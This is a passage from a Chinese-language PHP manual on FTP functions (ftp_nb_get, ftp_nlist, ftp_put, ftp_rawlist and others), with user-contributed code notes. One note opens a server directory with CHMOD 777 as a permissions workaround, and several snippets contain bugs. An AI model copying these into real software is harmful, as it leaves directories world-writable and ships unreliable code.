           $i = ($remote_file_size/$local_file_size)*100;
           printf("%d%% uploaded<br>", $i);
           flush();
       }
       $ret = ftp_nb_continue($conn_id);
   }

   if ($ret != FTP_FINISHED) {
       print("There was an error uploading the file...<br>");
       exit(1);
   }
   else {
       print("Done.<br>");
   }
   fclose($fp);
?>
add a note add a note

后退 | 起点 | 前进
ftp_nb_fget | 上一级 | ftp_nb_get


ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_get -- 从 FTP 服务器上获取文件并写入本地文件（non-blocking）

说明

bool ftp_nb_get ( resource ftp_stream, string local_file, string remote_file, int mode [, int resumepos] )

ftp_nb_get() 函数用来获取参数 remote_file 指定的的远程文件，并保存到由参数 local_file 指定的本地文件。传输模式参数 mode 只能为 FTP_ASCII (文本模式) 或 FTP_BINARY (二进制模式) 两种。与 ftp_get() 函数不同的是，此函数上传文件的时候采用的是异步传输模式，也就意味着在文件传送的过程中，你的程序可以继续干其它的事情。

返回 FTP_FAILED，FTP_FINISHED 或 FTP_MOREDATA。

例子 1. ftp_nb_get() 实例

<?php
// 开始下载
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 这里可以插入其它代码
   echo ".";

   // 继续下载...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "下载中出错...";
   exit(1);
}
?>

例子 2. 使用 ftp_nb_get() 函数断线续传

<?php
// 开始
$ret = ftp_nb_get ($my_connection, "test", "README", FTP_BINARY,
                      filesize("test"));
// 或: $ret = ftp_nb_get ($my_connection, "test", "README",
//                           FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

   // 可以插入其它代码
   echo ".";

   // 继续传送...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "下载出错...";
   exit(1);
}
?>

例子 3. 用 ftp_nb_get() 在 100 的位置断线续传并存为 "newfile"

// 禁止自动搜寻
ftp_set_option ($my_connection, FTP_AUTOSEEK, FALSE);

// 开始
$ret = ftp_nb_get ($my_connection, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

   ...

   // 继续下载...
   $ret = ftp_nb_continue ($my_connection);
}

在上边的例子中，"newfile" 文件比服务器上的文件 "README" 要小 100 字节。这是因为我们是从文件的偏移量 100 处开始读取的，如果没有禁止 FTP_AUTOSEEK，则 "newfile" 的前 100 字节将会是 '\0'。

参见 ftp_nb_fget()，ftp_nb_continue()，ftp_get() 和 ftp_fget()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_nb_fput | 上一级 | ftp_nb_put


ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5)

ftp_nb_put -- 存储一个文件至 FTP 服务器（non-blocking）

说明

int ftp_nb_put ( resource ftp_stream, string remote_file, string local_file, int mode [, int startpos] )

ftp_nb_put() 函数用来把本地文件 local_file 存储到 FTP 服务器上由 remote_file 参数指定的路径。传输模式参数 mode 只能为 FTP_ASCII (文本模式) 或 FTP_BINARY (二进制模式) 两种。与函数 ftp_put() 不同的是，此函数上传文件的时候采用的是异步传输模式，也就意味着在文件传送的过程中，你的程序可以继续干其它的事情。

返回 FTP_FAILED，FTP_FINISHED 或 FTP_MOREDATA。

例子 1. ftp_nb_put() 实例

<?php
// 开始上传
$ret = ftp_nb_put($my_connection, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   // 在这里可以加入其它代码
   echo ".";

   // 继续传送...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "上传文件中发生错误...";
   exit(1);
}
?>

例子 2. 使用 ftp_nb_put() 来断线续传

<?php
// 开始
$ret = ftp_nb_put ($my_connection, "test.remote", "test.local",
                      FTP_BINARY, ftp_size("test.remote"));
// 或: $ret = ftp_nb_put ($my_connection, "test.remote", "test.local",
//                           FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

   // 加入其它要执行的代码
   echo ".";

   // 继续传送...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "上传文件中发生错误...";
   exit(1);
}
?>

参见 ftp_nb_fput()，ftp_nb_continue()，ftp_put() 和 ftp_fput()。

add a note add a note User Contributed Notes
brandon dot farber at gmail dot com
02-Feb-2006 07:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com
11-Jan-2005 05:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org
08-Jan-2005 03:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.
add a note add a note

后退 | 起点 | 前进
ftp_nb_get | 上一级 | ftp_nlist


ftp_nlist

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_nlist -- 返回给定目录的文件列表

说明

array ftp_nlist ( resource ftp_stream, string directory )

如果成功则返回给定目录下的文件名组成的数组，否则返回 FALSE。

例子 1. ftp_nlist() 例子

<?php
// set up basic connection
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$conn_id) || (!$login_result)) {
    die("FTP connection has failed !");
}

// get contents of the root directory
$contents = ftp_nlist($conn_id, "/");

// print each entry
foreach ($contents as $entry) {
    echo $entry, "<br />\n";
}
?>

参见 ftp_rawlist()。

add a note add a note User Contributed Notes
mail at martinauer dot net
15-May-2006 01:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr
25-Feb-2006 02:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
   if(!@ftp_delete($handle, $path))
   {
       $list = @ftp_nlist($handle, $path);
       if(!empty($list))
           foreach($list as $value)
               ftp_rmdirr($handle, $value);
   }

   if(@ftp_rmdir($handle, $path))
       return true;
   else
       return false;
}
turigeza on yahoo com
07-Nov-2005 11:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
   {
   if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
       {
       $list = ftp_nlist($handle, $path);
       if (!empty($list))
           foreach($list as $value)
               ftp_rmdirr($value, $handle);
       }
   @ftp_rmdir($handle, $path);
   }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com
30-Jun-2005 12:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
   if (empty($ftp_user_name)) {
       $ftp_user_name = "anonymous";
   }
   if ($itempath[0]!=="/") {
       $itempath = "/".$itempath;
   }

   $conn_id = ftp_connect($ftp_server);
   $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

   $contents = ftp_nlist($conn_id, "$itempath");

   if (!empty($contents[0])) {
       $check = str_replace($itempath, "", $contents[0]);
       if (!empty($check)) {
           return true;
       }
   }
   ftp_close($conn_id);
}

// example :
   if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
       // do something related to directory handling action
   } else {
       // The target item is a file ...
   }

?>
ds at over dot hu
19-Dec-2004 12:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
   foreach ($files as $file) {
     if (ftp_size($cid, $file) == "-1"){
       filecollect($cid,$file);
     } else $flist[] = $file;
   }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
   $filelist = filecollect($conn_id);
   echo "<pre>";
     print_r($filelist);
   echo "</pre>";
  }

?>
webmaster at torbox dot info
27-Sep-2004 12:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com
29-Feb-2004 06:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au
13-Oct-2003 11:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc
15-Jul-2003 03:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com
04-Jun-2003 01:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
   function files($dir)
   {
       /*
       if(!isset($dir) || empty($dir))
       {
           $dir=ftp_pwd($this->conn_id);
       }
       */
       unset($list);
       unset($files);
       unset($folders);
       unset($folder);
       unset($file);
       @ftp_chdir($this->conn_id, $dir);
       $dir = ftp_pwd($this->conn_id);
       $list=Array();
       $list=ftp_nlist($this->conn_id, "$dir");
       $files = Array();
       $folders = Array();
       for($i = 0; $i != sizeof($list); $i++)
       {
           $entry = str_replace("//", "", $list[$i]);
           if(@ftp_chdir($this->conn_id, $entry))
           {
               $folders[] = $entry;
               ftp_chdir($this->conn_id, $dir);
           }
           else
           {
               $files[] = $entry;
           }
       }
       print "\t<b> Dateien in ".$dir." :</b><br><br>";
       foreach($files as $file)
       {
           print $file."<br>";
       }
       print "\t<b>Ordner in ".$dir." :</b> <br><br>";
       foreach ($folders as $folder)
       {
           print "\t".$folder."<br>";
           ftp_chdir($this->conn_id, $dir);
           $this->files($folder);
       }
   }
louis at ewens dot com
30-Apr-2003 07:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br
13-Feb-2003 12:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
   $newlist = array();
   reset($list);
   while (list(,$row) = each($list))
   {
       $buf="";
       if ($row[0]=='d'||$row[0]=='-'){
       $buf = substr($row,55);
       $newlist[]=$buf;
       }
   }

return $newlist;
}
ryan at wonko dot com
21-Mar-2002 11:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com
14-Nov-2000 04:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");
add a note add a note

后退 | 起点 | 前进
ftp_nb_put | 上一级 | ftp_pasv


ftp_pasv

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_pasv -- 返回当前 FTP 被动模式是否打开

描述

bool ftp_pasv ( resource ftp_stream, bool pasv )

如果参数 pasv 为真，打开被动模式传输 (PASV MODE) ，否则，如果参数 pasv 为假则关闭被动传输模式。在被动模式打开的情况下，数据的传送由客户机启动，而不是由服务器开始。

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
carsonm at draughters dot com
21-Dec-2005 01:27
I have been struggling with ftp_rawlist() experiencing a long timeout with an empty result set (and no error message).  Adding ftp_pasv($conn, true) after the login solved this problem.  A similar situation may be encountered with ftp_nlist().

More info here:
http://bugs.php.net/bug.php?id=32708
22-Feb-2005 06:05
ftp_pasv has to be set after login, not after connect.
ybourbeau at edison dot ca
09-Apr-2002 06:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
04-Apr-2002 08:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.
add a note add a note

后退 | 起点 | 前进
ftp_nlist | 上一级 | ftp_put


ftp_put

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_put -- 上传文件到 FTP 服务器

说明

bool ftp_put ( resource ftp_stream, string remote_file, string local_file, int mode [, int startpos] )

ftp_put() 函数用来上传由 local_file 参数指定的文件到 FTP 服务器，上传后的位置由 remote_file 指定。传输模式参数 mode 只能为 FTP_ASCII（文本模式）或 FTP_BINARY（二进制模式）。

注: 参数 startpos 仅适用于 PHP 4.3.0 以上版本。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ftp_put() 实例

<?php
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_ASCII);
?>

参见 ftp_fput()，ftp_nb_fput() 和 ftp_nb_put()。

add a note add a note User Contributed Notes
tom pittlik
20-Dec-2005 06:25
ftp_put() can display confusing warning messages as it returns one line of the remote server's response which may be multi lined.

If you're transferring large amounts of files note that some file systems only support up to 2000 files per directory. This had me stumped for a while.
ben at over dot bomb
25-Aug-2005 08:28
I spent some time debugging a silly problem:

In php >= 5, ftp_put() will apparently rewind to the start of the file regardless of the state you left it in before sending it to the $host.

I found this out because I wasn't closing the file handle before using ftp_put(). Since I had just written to the file, the file pointer must have been located at the *bottom*.

I was sending a 0-byte file on php 4.2.2., but worked fine on php 5.

So, just a heads up, don't forget to close those filehandles. Even though I was using the filename as the argument for ftp_put, it still needs to be closed.

I did not call rewind on the file handle, just fclose($file_h).
Icy_Tiger_2000 at yahoo dot com dot au
16-Jul-2005 04:35
I had a little trouble getting the ftp_put to work, because of that particular server.  All variables and data parsed from the previous web form had to be retreived using $_POST, $_GET or $_FILES.

If you don't know what you sent use phpinfo(); to display what the server thinks about your data.

so...when sending files using a form and PHP, make sure that all the data (text files etc...) are retreived with $_POST, and files (smiley.png, compression.zip, etc...) are retreived with $_FILES.

here's what your start of a results.php file might look like:
<?PHP
   $myName = $_POST['name']; //This will copy the text into a variable
   $myFile = $_FILES['file_name']; // This will make an array out of the file information that was stored.
?>

Now when it comes to transmitting that information...

<?PHP
       $destination_path = "src/bin/";

//where you want to throw the file on the webserver (relative to your login dir)

   $destination_file = $destination_path."img.jpg";

//This will create a full path with the file on the end for you to  use, I like splitting the variables like this in case I need to use on on their own or if I'm dynamically creating new folders.

       $file = $myFile['tmp_name'];

//Converts the array into a new string containing the path name on the server where your file is.

   $upload = ftp_put($conn_id, $destination_file, $file, FTP_BINARY);// upload the file
   if (!$upload) {// check upload status
       echo "FTP upload of $destination_file has failed!";
   } else {
       echo "Uploaded $file to $conn_id as $destination_file";
   }
?>

hope this is usefull ^_^
webmaster at sweetphp dot com
09-Jul-2005 08:54
Here is a fix for the function from lucas at rufy dot com below that will recursively put files from a source directory to a destination directory.  As written below, it won't put a file in a directory that already exists, because the the destination is altered.  So here is the corrected function that will allow it to work:

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_nlist($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com
29-Jun-2005 09:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
   $connection = ftp_connect($ftpServer);
   ftp_login($connection, $ftpUser, $ftpPass);
   ftp_chdir($connection, $ftpDir);
   // open the directory so that 'nobody' can create a temporary file
   ftp_site($cn, "CHMOD 777 $ftpDir");
   $new="tempFile";
   @unlink($new); // just in case
   $handle=fopen($new,"x");
   chmod($new,0777);
   fputs($handle,"a bunch of stuff...");
   fclose($handle); // have to rewind
   $handle=fopen("tempFile","r");
   ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
   fclose($handle);
   unlink($new);
   // remove open access to the directory
   ftp_site($connection, "CHMOD 755 $ftpDir")
   ftp_close($connection);
?>
herok at atwatcher dot com
18-Jun-2004 01:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven
24-Sep-2003 12:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com
04-Aug-2003 04:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
   $d = dir($src_dir);
   while($file = $d->read()) { // do this for each file in the directory
       if ($file != "." && $file != "..") { // to prevent an infinite loop
           if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
               if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                   ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
               }
               ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
           } else {
               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
darian lassan at yahoo de
05-Feb-2003 08:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de
25-Sep-2002 08:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

   while($file = $d->read()) {

       if ($file != "." && $file != "..") {

           if (is_dir($src_dir."/".$file)) {

               if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

               ftp_mkdir($conn_id, $dst_dir."/".$file);
               }

           ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
           }
           else {

           $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
           }
       }
   }

$d->close();
}
kiwo1 at yahoo dot com
29-Aug-2002 01:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

   $ftp_server='190.148.20.201';//serverip
   $conn_id = ftp_connect($ftp_server);

   // login with username and password
   $user="username";
   $passwd="*****";
   $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
       echo "FTP connection has failed!";
       echo "Attempted to connect to $ftp_server for user $ftp_user_name";
       die;
   } else {
       echo "<br>Connected to $ftp_server, for user $user<br>";
   }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
       echo "FTP upload has failed!";
   } else {
       echo "Uploaded $source_file to $ftp_server as $destination_file";
   }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net
30-Jun-2001 10:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.
add a note add a note

后退 | 起点 | 前进
ftp_pasv | 上一级 | ftp_pwd


ftp_pwd

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_pwd -- 返回当前目录名

描述

string ftp_pwd ( resource ftp_stream )

返回当前目录名称，发生错误则返回 FALSE。

add a note add a note User Contributed Notes
mike dot hall at opencube dot co dot uk
01-Jun-2001 12:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.
add a note add a note

后退 | 起点 | 前进
ftp_put | 上一级 | ftp_quit


ftp_quit

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_quit -- ftp_close() 的别名

说明

本函数是 ftp_close() 的别名。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ftp_pwd | 上一级 | ftp_raw


ftp_raw

(PHP 5)

ftp_raw -- Sends an arbitrary command to an FTP server

说明

array ftp_raw ( resource ftp_stream, string command )

Sends an arbitrary command to the FTP server.

参数

ftp_stream

The link identifier of the FTP connection.

command

The command to execute.

返回值

Returns the server's response as an array of strings. No parsing is performed on the response string, nor does ftp_raw() determine if the command succeeded.

范例

例子 1. Using ftp_raw() to login to an FTP server manually.

<?php
$fp = ftp_connect("ftp.example.com");

/* This is the same as:
   ftp_login($fp, "joeblow", "secret"); */
ftp_raw($fp, "USER joeblow");
ftp_raw($fp, "PASS secret");
?>

参见

ftp_exec()

add a note add a note User Contributed Notes
nightwalker85 at gmail dot com
20-Apr-2005 07:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.
add a note add a note

后退 | 起点 | 前进
ftp_quit | 上一级 | ftp_rawlist


ftp_rawlist

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ftp_rawlist -- 返回指定目录下文件的详细列表

说明

array ftp_rawlist ( resource ftp_stream, string directory )

ftp_rawlist() 函数将执行 FTP LIST 命令，并把结果返回为一个数组。数组的每个元素为返回文本的每一行，输出结构不会被解析。使用函数 ftp_systype() 可以用来判断 FTP 服务器的类型，从而可以用来判断返回列表的类型。

参见 ftp_nlist()。

add a note add a note User Contributed Notes
admin at mikeholloway dot co dot uk
04-Dec-2005 06:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
d dot lloyd at tnw dot tudelft dot nl
27-Sep-2005 09:22
One comment regaring the method tig3r uses to determine the listing type.

Windows servers can return a listing in unix format if the ftp server has been told to use unix formatting. The only robust solution I have is to try both ereg commands once and see which one successfully returns an array.
tig3r at poczta dot onet dot pl
18-Aug-2005 06:31
Previous example (by davidknoll at o2 dot co dot uk) works well if ftp_systype() returned "UNIX", but sometimes I am experiencing "Windows_NT". Here is some improvement:

<?php
function parsed_listing($path)
{
   $conn = ftp_connect(FTP_HOST);
   ftp_login($conn, FTP_USER, FTP_PASS);
   $systype = ftp_systype($conn_id);
   $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
   ftp_close($conn);
   $i = 0;

   foreach ($list as $current) {
     switch ($systype) {
         case "Windows_NT":
         ereg("([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)",$current,$split);
         if (is_array($split)) {
           if ($split[3]<70) { $split[3]+=2000; } else { $split[3]+=1900; } // 4digit year fix
           $parsed[$i]['isdir'] = ($split[7]=="<DIR>");
           $parsed[$i]['size'] = $split[7];
           $parsed[$i]['month'] = $split[1];
           $parsed[$i]['day'] = $split[2];
           $parsed[$i]['time/year'] = $split[3];
           $parsed[$i]['name'] = $split[8];
           $i++;
         }
         break;

         case "UNIX":
         default:

// etc.

         break;
     }
   }
   return $parsed;
}
?>
davidknoll at o2 dot co dot uk
14-Jul-2005 07:00
Well, this works for me:

<?php
function parsed_listing($path)
{
   $conn = ftp_connect(FTP_HOST);
   ftp_login($conn, FTP_USER, FTP_PASS);
   $list = ftp_rawlist($conn, "-a ".FTP_BASE.$path);
   ftp_close($conn);
   $i = 0;
   foreach ($list as $current) {
       $split = preg_split("[ ]", $current, 9, PREG_SPLIT_NO_EMPTY);
       if ($split[0] != "total") {
           $parsed[$i]['isdir']        = $split[0]{0} === "d";
           $parsed[$i]['perms']        = $split[0];
           $parsed[$i]['number']    = $split[1];
           $parsed[$i]['owner']        = $split[2];
           $parsed[$i]['group']        = $split[3];
           $parsed[$i]['size']        = $split[4];
           $parsed[$i]['month']        = $split[5];
           $parsed[$i]['day']        = $split[6];
           $parsed[$i]['time/year']    = $split[7];
